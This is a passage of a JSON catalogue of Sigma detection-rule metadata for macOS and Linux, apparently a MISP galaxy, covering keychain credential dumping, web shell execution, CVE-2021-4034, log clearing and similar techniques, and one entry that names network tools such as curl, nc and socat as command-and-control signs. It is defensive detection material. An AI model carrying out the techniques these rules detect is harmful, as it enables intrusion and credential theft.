"refs": [ "https://scriptingosx.com/2018/08/user-interaction-from-bash-scripts/", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1056.002/T1056.002.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_gui_input_capture.yml" ], "tags": [ "attack.credential_access", "attack.t1056.002" ] }, "uuid": "60f1ce20-484e-41bd-85f4-ac4afec2c541", "value": "GUI Input Capture - macOS" }, { "description": "Detects enumeration of local systeam accounts on MacOS", "meta": { "author": "Alejandro Ortuno, oscd.community", "creation_date": "2020/10/08", "falsepositive": [ "Legitimate administration activities" ], "filename": "proc_creation_macos_local_account.yml", "level": "low", "logsource.category": "process_creation", "logsource.product": "macos", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1087.001/T1087.001.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_local_account.yml" ], "tags": [ "attack.discovery", "attack.t1087.001" ] }, "related": [ { "dest-uuid": "25659dd6-ea12-45c4-97e6-381e3e4b593e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "ddf36b67-e872-4507-ab2e-46bda21b842c", "value": "Local System Accounts Discovery - MacOs" }, { "description": "Detects the execution traces of the WizardUpdate malware. WizardUpdate is a macOS trojan that attempts to infiltrate macOS machines to steal data and it is associated with other types of malicious payloads, increasing the chances of multiple infections on a device.", "meta": { "author": "Tim Rauch (rule), Elastic (idea)", "creation_date": "2022/10/17", "falsepositive": [ "Unknown" ], "filename": "proc_creation_macos_wizardupdate_malware_infection.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "macos", "refs": [ "https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4aea95f#diff-c68a1fcbf7a3f80c87225d7fdc031f691e9f3b6a14a36754be00762bfe6eae97", "https://www.microsoft.com/security/blog/2022/02/02/the-evolution-of-a-mac-trojan-updateagents-progression/", "https://malpedia.caad.fkie.fraunhofer.de/details/osx.xcsset", "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_wizardupdate_malware_infection.yml" ], "tags": [ "attack.command_and_control" ] }, "uuid": "f68c4a4f-19ef-4817-952c-50dce331f4b0", "value": "Potential WizardUpdate Malware Infection" }, { "description": "Detects deletion of local audit logs", "meta": { "author": "remotephone, oscd.community", "creation_date": "2020/10/11", "falsepositive": [ "Legitimate administration activities" ], "filename": "proc_creation_macos_clear_system_logs.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "macos", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.002/T1070.002.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_clear_system_logs.yml" ], "tags": [ "attack.defense_evasion", "attack.t1070.002" ] }, "related": [ { "dest-uuid": "2bce5b30-7014-4a5d-ade7-12913fe6ac36", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "acf61bd8-d814-4272-81f0-a7a269aa69aa", "value": "Indicator Removal on Host - Clear Mac System Logs" }, { "description": "Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems.", "meta": { "author": "Igor Fits, Mikhail Larin, oscd.community", "creation_date": "2020/10/19", "falsepositive": [ "Legitimate administrative activity" ], "filename": "proc_creation_macos_system_shutdown_reboot.yml", "level": "informational", "logsource.category": "process_creation", "logsource.product": "macos", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1529/T1529.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_system_shutdown_reboot.yml" ], "tags": [ "attack.impact", "attack.t1529" ] }, "related": [ { "dest-uuid": "ff73aa03-0090-4464-83ac-f89e233c02bc", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "40b1fbe2-18ea-4ee7-be47-0294285811de", "value": "System Shutdown/Reboot - MacOs" }, { "description": "Detects disabling security tools", "meta": { "author": "Daniil Yugoslavskiy, oscd.community", "creation_date": "2020/10/19", "falsepositive": [ "Legitimate activities" ], "filename": "proc_creation_macos_disable_security_tools.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "macos", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_disable_security_tools.yml" ], "tags": [ "attack.defense_evasion", "attack.t1562.001" ] }, "uuid": "ff39f1a6-84ac-476f-a1af-37fcdf53d7c0", "value": "Disable Security Tools" }, { "description": "Detects passwords dumps from Keychain", "meta": { "author": "Tim Ismilyaev, oscd.community, Florian Roth", "creation_date": "2020/10/19", "falsepositive": [ "Legitimate administration activities" ], "filename": "proc_creation_macos_creds_from_keychain.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "macos", "refs": [ "https://gist.github.com/Capybara/6228955", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1555.001/T1555.001.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_creds_from_keychain.yml" ], "tags": [ "attack.credential_access", "attack.t1555.001" ] }, "related": [ { "dest-uuid": "1eaebf46-e361-4437-bc23-d5d65a3b92e3", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "b120b587-a4c2-4b94-875d-99c9807d6955", "value": "Credentials from Password Stores - Keychain" }, { "description": "Detects the usage of tooling to sniff network traffic.\nAn adversary may place a network interface into promiscuous mode to passively access data in transit over the network, or use span ports to capture a larger amount of data.\n", "meta": { "author": "Alejandro Ortuno, oscd.community", "creation_date": "2020/10/14", "falsepositive": [ "Legitimate administration activities" ], "filename": "proc_creation_macos_network_sniffing.yml", "level": "informational", "logsource.category": "process_creation", "logsource.product": "macos", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1040/T1040.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_network_sniffing.yml" ], "tags": [ "attack.discovery", "attack.credential_access", "attack.t1040" ] }, "uuid": "adc9bcc4-c39c-4f6b-a711-1884017bf043", "value": "Network Sniffing - MacOs" }, { "description": "Before deploying any new asset, change all default passwords to have values consistent with administrative level accounts.\nSigma detects default credentials usage. Sigma for Qualys vulnerability scanner. Scan type - Vulnerability Management.\n", "meta": { "author": "Alexandr Yampolskyi, SOC Prime", "creation_date": "2019/03/26", "falsepositive": [ "Unknown" ], "filename": "default_credentials_usage.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "qualys", "refs": [ "https://www.cisecurity.org/controls/cis-controls-list/", "https://www.pcisecuritystandards.org/documents/PCI_DSS_v3-2-1.pdf", "https://nvlpubs.nist.gov/nistpubs/CSWP/NIST.CSWP.04162018.pdf", "https://community.qualys.com/docs/DOC-6406-reporting-toolbox-focused-search-lists", "https://github.com/SigmaHQ/sigma/tree/master/rules/compliance/default_credentials_usage.yml" ], "tags": "No established tags" }, "uuid": "1a395cbc-a84a-463a-9086-ed8a70e573c7", "value": "Default Credentials Usage" }, { "description": "Host Without Firewall. Alert means not complied. Sigma for Qualys vulnerability scanner. Scan type - Vulnerability Management.", "meta": { "author": "Alexandr Yampolskyi, SOC Prime", "creation_date": "2019/03/19", "falsepositive": "No established falsepositives", "filename": "host_without_firewall.yml", "level": "low", "logsource.category": "No established category", "logsource.product": "qualys", "refs": [ "https://www.cisecurity.org/controls/cis-controls-list/", "https://www.pcisecuritystandards.org/documents/PCI_DSS_v3-2-1.pdf", "https://nvlpubs.nist.gov/nistpubs/CSWP/NIST.CSWP.04162018.pdf", "https://github.com/SigmaHQ/sigma/tree/master/rules/compliance/host_without_firewall.yml" ], "tags": "No established tags" }, "uuid": "6b2066c8-3dc7-4db7-9db0-6cc1d7b0dde9", "value": "Host Without Firewall" }, { "description": "Ensure that all account usernames and authentication credentials are transmitted across networks using encrypted channels\nEnsure that an encryption is used for all sensitive information in transit.\nEnsure that an encrypted channels is used for all administrative account access.\n", "meta": { "author": "Alexandr Yampolskyi, SOC Prime", "creation_date": "2019/03/26", "falsepositive": [ "Unknown" ], "filename": "netflow_cleartext_protocols.yml", "level": "low", "logsource.category": "No established category", "logsource.product": "No established product", "refs": [ "https://www.cisecurity.org/controls/cis-controls-list/", "https://www.pcisecuritystandards.org/documents/PCI_DSS_v3-2-1.pdf", "https://nvlpubs.nist.gov/nistpubs/CSWP/NIST.CSWP.04162018.pdf", "https://github.com/SigmaHQ/sigma/tree/master/rules/compliance/netflow_cleartext_protocols.yml" ], "tags": "No established tags" }, "uuid": "7e4bfe58-4a47-4709-828d-d86c78b7cc1f", "value": "Cleartext Protocol Usage Via Netflow" }, { "description": "Rule to detect the use of the SCX RunAsProvider Invoke_ExecuteShellCommand to execute any UNIX/Linux command using the /bin/sh shell.\nSCXcore, started as the Microsoft Operations Manager UNIX/Linux Agent, is now used in a host of products including Microsoft Operations Manager.\nMicrosoft Azure, and Microsoft Operations Management Suite.\n", "meta": { "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", "creation_date": "2021/09/17", "falsepositive": [ "Legitimate use of SCX RunAsProvider Invoke_ExecuteShellCommand." ], "filename": "lnx_auditd_omigod_scx_runasprovider_executeshellcommand.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "linux", "refs": [ "https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure", "https://github.com/Azure/Azure-Sentinel/pull/3059", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_omigod_scx_runasprovider_executeshellcommand.yml" ], "tags": [ "attack.privilege_escalation", "attack.initial_access", "attack.execution", "attack.t1068", "attack.t1190", "attack.t1203" ] }, "related": [ { "dest-uuid": "b21c3b2d-02e6-45b1-980b-e69051040839", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "be2dcee9-a7a7-4e38-afd6-21b31ecc3d63", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "045b5f9c-49f7-4419-a236-9854fb3c827a", "value": "OMIGOD SCX RunAsProvider ExecuteShellCommand - Auditd" }, { "description": "Detects calls to hidden files or files located in hidden directories in NIX systems.", "meta": { "author": "David Burkett, @signalblur", "creation_date": "2022/12/30", "falsepositive": [ "Unknown" ], "filename": "lnx_auditd_hidden_binary_execution.yml", "level": "low", "logsource.category": "No established category", "logsource.product": "linux", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1564.001/T1564.001.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_hidden_binary_execution.yml" ], "tags": [ "attack.defense_evasion", "attack.t1574.001" ] }, "uuid": "9e1bef8d-0fff-46f6-8465-9aa54e128c1e", "value": "Use Of Hidden Paths Or Files" }, { "description": "Detects file and folder permission changes.", "meta": { "author": "Jakob Weinzettl, oscd.community", "creation_date": "2019/09/23", "falsepositive": [ "User interacting with files permissions (normal/daily behaviour)." ], "filename": "lnx_auditd_file_or_folder_permissions.yml", "level": "low", "logsource.category": "No established category", "logsource.product": "linux", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1222.002/T1222.002.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_file_or_folder_permissions.yml" ], "tags": [ "attack.defense_evasion", "attack.t1222.002" ] }, "related": [ { "dest-uuid": "09b130a2-a77e-4af0-a361-f46f9aad1345", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "74c01ace-0152-4094-8ae2-6fd776dd43e5", "value": "File or Folder Permissions Change" }, { "description": "Detect changes of syslog daemons configuration files", "meta": { "author": "Mikhail Larin, oscd.community", "creation_date": "2019/10/25", "falsepositive": [ "Legitimate administrative activity" ], "filename": "lnx_auditd_logging_config_change.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "linux", "refs": [ "self experience", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_logging_config_change.yml" ], "tags": [ "attack.defense_evasion", "attack.t1562.006" ] }, "uuid": "c830f15d-6f6e-430f-8074-6f73d6807841", "value": "Logging Configuration Changes on Linux Host" }, { "description": "Detects a creation of systemd services which could be used by adversaries to execute malicious code.", "meta": { "author": "Pawel Mazur", "creation_date": "2022/02/03", "falsepositive": [ "Admin work like legit service installs." ], "filename": "lnx_auditd_systemd_service_creation.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "linux", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1543.002/T1543.002.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_systemd_service_creation.yml" ], "tags": [ "attack.persistence", "attack.t1543.002" ] }, "uuid": "1bac86ba-41aa-4f62-9d6b-405eac99b485", "value": "Systemd Service Creation" }, { "description": "detects BPFDoor .lock and .pid files access in temporary file storage facility", "meta": { "author": "Rafal Piasecki", "creation_date": "2022/08/10", "falsepositive": [ "Unlikely" ], "filename": "lnx_auditd_bpfdoor_file_accessed.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "linux", "refs": [ "https://www.sandflysecurity.com/blog/bpfdoor-an-evasive-linux-backdoor-technical-analysis/", "https://www.elastic.co/security-labs/a-peek-behind-the-bpfdoor", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_bpfdoor_file_accessed.yml" ], "tags": [ "attack.execution", "attack.t1106", "attack.t1059" ] }, "related": [ { "dest-uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "808146b2-9332-4d78-9416-d7e47012d83d", "value": "BPFDoor Abnormal Process ID or Lock File Accessed" }, { "description": "Detects attempts to record audio with arecord utility", "meta": { "author": "Pawel Mazur", "creation_date": "2021/09/04", "falsepositive": [ "Unknown" ], "filename": "lnx_auditd_audio_capture.yml", "level": "low", "logsource.category": "No established category", "logsource.product": "linux", "refs": [ "https://linuxconfig.org/how-to-test-microphone-with-audio-linux-sound-architecture-alsa", "https://linux.die.net/man/1/arecord", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_audio_capture.yml" ], "tags": [ "attack.collection", "attack.t1123" ] }, "uuid": "a7af2487-9c2f-42e4-9bb9-ff961f0561d5", "value": "Audio Capture" }, { "description": "Detecting attempts to extract passwords with grep", "meta": { "author": "Igor Fits, oscd.community", "creation_date": "2020/10/15", "falsepositive": [ "Unknown" ], "filename": "lnx_auditd_find_cred_in_files.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "linux", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1552.001/T1552.001.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_find_cred_in_files.yml" ], "tags": [ "attack.credential_access", "attack.t1552.001" ] }, "uuid": "df3fcaea-2715-4214-99c5-0056ea59eb35", "value": "Credentials In Files - Linux" }, { "description": "Adversaries may use binary padding to add junk data and change the on-disk representation of malware.\nThis rule detect using dd and truncate to add a junk data to file.\n", "meta": { "author": "Igor Fits, oscd.community", "creation_date": "2020/10/13", "falsepositive": [ "Unknown" ], "filename": "lnx_auditd_binary_padding.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "linux", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1027.001/T1027.001.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_binary_padding.yml" ], "tags": [ "attack.defense_evasion", "attack.t1027.001" ] }, "uuid": "c52a914f-3d8b-4b2a-bb75-b3991e75f8ba", "value": "Binary Padding - Linux" }, { "description": "Detects embeding of files with usage of steghide binary, the adversaries may use this technique to prevent the detection of hidden information.", "meta": { "author": "Pawel Mazur", "creation_date": "2021/09/11", "falsepositive": [ "Unknown" ], "filename": "lnx_auditd_steghide_embed_steganography.yml", "level": "low", "logsource.category": "No established category", "logsource.product": "linux", "refs": [ "https://vitux.com/how-to-hide-confidential-files-in-images-on-debian-using-steganography/", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_steghide_embed_steganography.yml" ], "tags": [ "attack.defense_evasion", "attack.t1027.003" ] }, "uuid": "ce446a9e-30b9-4483-8e38-d2c9ad0a2280", "value": "Steganography Hide Files with Steghide" }, { "description": "Adversaries may use the information from System Owner/User Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.", "meta": { "author": "Timur Zinniatullin, oscd.community", "creation_date": "2019/10/21", "falsepositive": [ "Admin activity" ], "filename": "lnx_auditd_user_discovery.yml", "level": "low", "logsource.category": "No established category", "logsource.product": "linux", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1033/T1033.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_user_discovery.yml" ], "tags": [ "attack.discovery", "attack.t1033" ] }, "uuid": "9a0d8ca0-2385-4020-b6c6-cb6153ca56f3", "value": "System Owner or User Discovery" }, { "description": "Detects suspicious activities as declared by Florian Roth in its 'Best Practice Auditd Configuration'.\nThis includes the detection of the following commands; wget, curl, base64, nc, netcat, ncat, ssh, socat, wireshark, rawshark, rdesktop, nmap.\nThese commands match a few techniques from the tactics \"Command and Control\", including not exhaustively the following; Application Layer Protocol (T1071), Non-Application Layer Protocol (T1095), Data Encoding (T1132)\n", "meta": { "author": "Marie Euler", "creation_date": "2020/05/18", "falsepositive": [ "Admin or User activity" ], "filename": "lnx_auditd_susp_c2_commands.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "linux", "refs": [ "https://github.com/Neo23x0/auditd", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_susp_c2_commands.yml" ], "tags": [ "attack.command_and_control" ] }, "uuid": "f7158a64-6204-4d6d-868a-6e6378b467e0", "value": "Suspicious C2 Activities" }, { "description": "Detects attempts to collect data stored in the clipboard from users with the usage of xclip tool.\nXclip has to be installed.\nHighly recommended using rule on servers, due to high usage of clipboard utilities on user workstations.\n", "meta": { "author": "Pawel Mazur", "creation_date": "2021/09/24", "falsepositive": [ "Legitimate usage of xclip tools" ], "filename": "lnx_auditd_clipboard_collection.yml", "level": "low", "logsource.category": "No established category", "logsource.product": "linux", "refs": [ "https://linux.die.net/man/1/xclip", "https://www.cyberciti.biz/faq/xclip-linux-insert-files-command-output-intoclipboard/", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_clipboard_collection.yml" ], "tags": [ "attack.collection", "attack.t1115" ] }, "uuid": "214e7e6c-f21b-47ff-bb6f-551b2d143fcf", "value": "Clipboard Collection with Xclip Tool - Auditd" }, { "description": "Detects extraction of files with usage of steghide binary, the adversaries may use this technique to prevent the detection of hidden information.", "meta": { "author": "Pawel Mazur", "creation_date": "2021/09/11", "falsepositive": [ "Unknown" ], "filename": "lnx_auditd_steghide_extract_steganography.yml", "level": "low", "logsource.category": "No established category", "logsource.product": "linux", "refs": [ "https://vitux.com/how-to-hide-confidential-files-in-images-on-debian-using-steganography/", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_steghide_extract_steganography.yml" ], "tags": [ "attack.defense_evasion", "attack.t1027.003" ] }, "uuid": "a5a827d9-1bbe-4952-9293-c59d897eb41b", "value": "Steganography Extract Files with Steghide" }, { "description": "Detects loading of kernel modules with insmod command.\nLoadable Kernel Modules (LKMs) are pieces of code that can be loaded and unloaded into the kernel upon demand.\nAdversaries may use LKMs to obtain persistence within the system or elevate the privileges.\n", "meta": { "author": "Pawel Mazur", "creation_date": "2021/11/02", "falsepositive": [ "Unknown" ], "filename": "lnx_auditd_load_module_insmod.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "linux", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.006/T1547.006.md", "https://linux.die.net/man/8/insmod", "https://man7.org/linux/man-pages/man8/kmod.8.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_load_module_insmod.yml" ], "tags": [ "attack.persistence", "attack.privilege_escalation", "attack.t1547.006" ] }, "related": [ { "dest-uuid": "a1b52199-c8c5-438a-9ded-656f1d0888c6", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "106d7cbd-80ff-4985-b682-a7043e5acb72", "value": "Loading of Kernel Module via Insmod" }, { "description": "Detects possible command execution by web application/web shell", "meta": { "author": "Ilyas Ochkov, Beyu Denis, oscd.community", "creation_date": "2019/10/12", "falsepositive": [ "Admin activity", "Crazy web applications" ], "filename": "lnx_auditd_web_rce.yml", "level": "critical", "logsource.category": "No established category", "logsource.product": "linux", "refs": [ "Personal Experience of the Author", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_web_rce.yml" ], "tags": [ "attack.persistence", "attack.t1505.003" ] }, "uuid": "c0d3734d-330f-4a03-aae2-65dacc6a8222", "value": "Webshell Remote Command Execution" }, { "description": "Detects exploitation attempt of the vulnerability described in CVE-2021-4034.", "meta": { "author": "Pawel Mazur", "creation_date": "2022/01/27", "falsepositive": [ "Unknown" ], "filename": "lnx_auditd_cve_2021_4034.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "linux", "refs": [ "https://github.com/berdav/CVE-2021-4034", "https://access.redhat.com/security/cve/CVE-2021-4034", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-4034", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_cve_2021_4034.yml" ], "tags": [ "attack.privilege_escalation", "attack.t1068" ] }, "related": [ { "dest-uuid": "b21c3b2d-02e6-45b1-980b-e69051040839", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "40a016ab-4f48-4eee-adde-bbf612695c53", "value": "Potential CVE-2021-4034 Exploitation Attempt" }, { "description": "Detects adversary creating screen capture of a desktop with Import Tool.\nHighly recommended using rule on servers, due to high usage of screenshot utilities on user workstations.\nImageMagick must be installed.\n", "meta": { "author": "Pawel Mazur", "creation_date": "2021/09/21", "falsepositive": [ "Legitimate use of screenshot utility" ], "filename": "lnx_auditd_screencapture_import.yml", "level": "low", "logsource.category": "No established category", "logsource.product": "linux", "refs": [ "https://imagemagick.org/", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1113/T1113.md", "https://linux.die.net/man/1/import", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_screencapture_import.yml" ], "tags": [ "attack.collection", "attack.t1113" ] }, "uuid": "dbe4b9c5-c254-4258-9688-d6af0b7967fd", "value": "Screen Capture with Import Tool" }, { "description": "Detects disabling of system firewalls which could be used by adversaries to bypass controls that limit usage of the network.", "meta": { "author": "Pawel Mazur", "creation_date": "2022/01/22", "falsepositive": [ "Admin activity" ], "filename": "lnx_auditd_disable_system_firewall.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "linux", "refs": [ "https://firewalld.org/documentation/man-pages/firewall-cmd.html", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.004/T1562.004.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_disable_system_firewall.yml" ], "tags": [ "attack.t1562.004", "attack.defense_evasion" ] }, "related": [ { "dest-uuid": "5372c5fe-f424-4def-bcd5-d3a8e770f07b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "53059bc0-1472-438b-956a-7508a94a91f0", "value": "Disable System Firewall" }, { "description": "Detects extracting of zip file from image file", "meta": { "author": "Pawel Mazur", "creation_date": "2021/09/09", "falsepositive": [ "Unknown" ], "filename": "lnx_auditd_unzip_hidden_zip_files_steganography.yml", "level": "low", "logsource.category": "No established category", "logsource.product": "linux", "refs": [ "https://zerotoroot.me/steganography-hiding-a-zip-in-a-jpeg-file/", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_unzip_hidden_zip_files_steganography.yml" ], "tags": [ "attack.defense_evasion", "attack.t1027.003" ] }, "uuid": "edd595d7-7895-4fa7-acb3-85a18a8772ca", "value": "Steganography Unzip Hidden Information From Picture File" }, { "description": "Detects attempts to discover the files with setuid/setgid capability on them. That would allow adversary to escalate their privileges.", "meta": { "author": "Pawel Mazur", "creation_date": "2021/11/28", "falsepositive": [ "Unknown" ], "filename": "lnx_auditd_capabilities_discovery.yml", "level": "low", "logsource.category": "No established category", "logsource.product": "linux", "refs": [ "https://mn3m.info/posts/suid-vs-capabilities/", "https://man7.org/linux/man-pages/man8/getcap.8.html", "https://int0x33.medium.com/day-44-linux-capabilities-privilege-escalation-via-openssl-with-selinux-enabled-and-enforced-74d2bec02099", "https://www.hackingarticles.in/linux-privilege-escalation-using-capabilities/", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_capabilities_discovery.yml" ], "tags": [ "attack.collection", "attack.privilege_escalation", "attack.t1123", "attack.t1548" ] }, "related": [ { "dest-uuid": "67720091-eee3-4d2d-ae16-8264567f6f5b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "fe10751f-1995-40a5-aaa2-c97ccb4123fe", "value": "Linux Capabilities Discovery" }, { "description": "Detects system information discovery commands", "meta": { "author": "Ömer Günal, oscd.community", "creation_date": "2020/10/08", "falsepositive": [ "Legitimate administration activities" ], "filename": "lnx_auditd_system_info_discovery2.yml", "level": "informational", "logsource.category": "No established category", "logsource.product": "linux", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1082/T1082.md#atomic-test-4---linux-vm-check-via-hardware", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_system_info_discovery2.yml" ], "tags": [ "attack.discovery", "attack.t1082" ] }, "uuid": "1f358e2e-cb63-43c3-b575-dfb072a6814f", "value": "System and Hardware Information Discovery" }, { "description": "Detect changes in auditd configuration files", "meta": { "author": "Mikhail Larin, oscd.community", "creation_date": "2019/10/25", "falsepositive": [ "Legitimate administrative activity" ], "filename": "lnx_auditd_auditing_config_change.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "linux", "refs": [ "https://github.com/Neo23x0/auditd/blob/master/audit.rules", "Self Experience", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_auditing_config_change.yml" ], "tags": [ "attack.defense_evasion", "attack.t1562.006" ] }, "uuid": "977ef627-4539-4875-adf4-ed8f780c4922", "value": "Auditing Configuration Changes on Linux Host" }, { "description": "Identifies modification of ld.so.preload for shared object injection. This technique is used by attackers to load arbitrary code into processes.", "meta": { "author": "E.M. Anhaus (originally from Atomic Blue Detections, Tony Lambert), oscd.community", "creation_date": "2019/10/24", "falsepositive": [ "Unknown" ], "filename": "lnx_auditd_ld_so_preload_mod.yml", "level": "high", "logsource.category": "No established category", "logsource.product": "linux", "refs": [ "https://eqllib.readthedocs.io/en/latest/analytics/fd9b987a-1101-4ed3-bda6-a70300eaf57e.html", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1574.006/T1574.006.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_ld_so_preload_mod.yml" ], "tags": [ "attack.defense_evasion", "attack.t1574.006" ] }, "uuid": "4b3cb710-5e83-4715-8c45-8b2b5b3e5751", "value": "Modification of ld.so.preload" }, { "description": "Masquerading occurs when the name or location of an executable, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation.\nSeveral different variations of this technique have been observed.\n", "meta": { "author": "Timur Zinniatullin, oscd.community", "creation_date": "2019/10/21", "falsepositive": "No established falsepositives", "filename": "lnx_auditd_masquerading_crond.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "linux", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/8a82e9b66a5b4f4bc5b91089e9f24e0544f20ad7/atomics/T1036.003/T1036.003.md#atomic-test-2---masquerading-as-linux-crond-process", "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_masquerading_crond.yml" ], "tags": [ 